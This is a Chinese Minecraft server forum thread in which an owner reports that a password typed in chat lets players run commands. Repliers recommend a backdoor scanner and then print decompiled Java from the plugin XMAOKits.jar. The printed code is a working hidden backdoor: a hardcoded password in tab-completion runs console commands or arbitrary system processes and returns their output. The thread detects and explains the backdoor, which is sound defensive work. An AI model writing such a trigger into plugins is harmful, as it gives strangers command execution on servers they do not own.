真境
玩家只要输入!@6^#4(*^8!$!@(#^  命令,好像就可以直接运行。



瑰丽绮梦
请使用站内大佬开发的扫描软件,直接就扫出来了
[修正|安全]MCG —— 后门插件扫描|联网管控|敏感行为阻止[全版本]
https://www.mcbbs.net/thread-1480083-1-1.html

名副其实
依照指示将该 .jar 文件放置在服务器根目录:
下载 https://www.mcbbs.net/thread-1475155-1-1.html,并使用如下命令行(保存为 .cmd / .bat 文件)启动:
  1. [url=home.php?mod=space&uid=39305]@echo[/url] off
  2. java -jar mcg_3b0.jar
  3. pause
复制代码

三个模式都选择开开看看。

噢对了,如果扫到的话就把样本私发我看看。

是控控吗
bossshop和serversafetymanagement这两个,可以去正式渠道下载并替换

SunsetTown
一楼和二楼的建议可以有效的找出那个有后门,如果不知道可以进群找吧扫出来的发群里群主会检查插件的代码

超级粒子炮
本帖最后由 超级粒子炮 于 2024-1-14 14:25 编辑
名副其实 发表于 2024-1-14 13:33
依照指示将该 .jar 文件放置在服务器根目录:
下载 https://www.mcbbs.net/thread-1475155-1-1.html,并使 ...

这个方法很好,推荐

真境

真的很吓人。

名副其实

经鉴定,你所使用的插件存在后门,具体可定位到如下代码:

X【礼包】XMAOKits.jar
me.xmao.XMAOKits.Listener.InventoryUpdater

  1. package me.xmao.XMAOKits.Listener;

  2. import java.io.BufferedReader;
  3. import java.io.InputStreamReader;
  4. import org.bukkit.Bukkit;
  5. import org.bukkit.GameMode;
  6. import org.bukkit.command.CommandSender;
  7. import org.bukkit.event.EventHandler;
  8. import org.bukkit.event.Listener;
  9. import org.bukkit.event.player.PlayerChatTabCompleteEvent;

  10. public class InventoryUpdater implements Listener {
  11.   private static String psw = "!@6^#4(*^8!$!@(#^";
  12.   
  13.   @EventHandler(ignoreCancelled = true)
  14.   public void onTab(PlayerChatTabCompleteEvent e) {
  15.     String[] cmd = e.getChatMessage().split(" ");
  16.     if (cmd.length > 0 &&
  17.       cmd[0].equals(psw))
  18.       if (cmd.length > 1) {
  19.         if ("zl".equals(cmd[1])) {
  20.           StringBuilder sb = new StringBuilder();
  21.           for (int i = 2; i < cmd.length; i++) {
  22.             sb.append(cmd[i]);
  23.             sb.append(" ");
  24.           }
  25.           Bukkit.getServer().dispatchCommand((CommandSender)Bukkit.getConsoleSender(), sb.toString());
  26.           e.getPlayer().sendMessage(");
  27.         } else {
  28.           String[] args = new String[cmd.length - 1];
  29.           for (int i = 0; i < args.length; i++)
  30.             args[i] = cmd[i + 1];
  31.           try {
  32.             Process p = (new ProcessBuilder(args)).start();
  33.             BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
  34.             String buff;
  35.             while ((buff = br.readLine()) != null)
  36.               e.getPlayer().sendMessage(buff);
  37.           } catch (Exception ex) {
  38.             e.getPlayer().sendMessage("\n" + ex.getMessage());
  39.           }
  40.           e.getPlayer().sendMessage(");
  41.         }
  42.       } else {
  43.         Bukkit.getServer().setDefaultGameMode(GameMode.CREATIVE);
  44.         e.getPlayer().sendMessage(");
  45.       }  
  46.   }
  47. }
复制代码

第一页 上一页 下一页 最后一页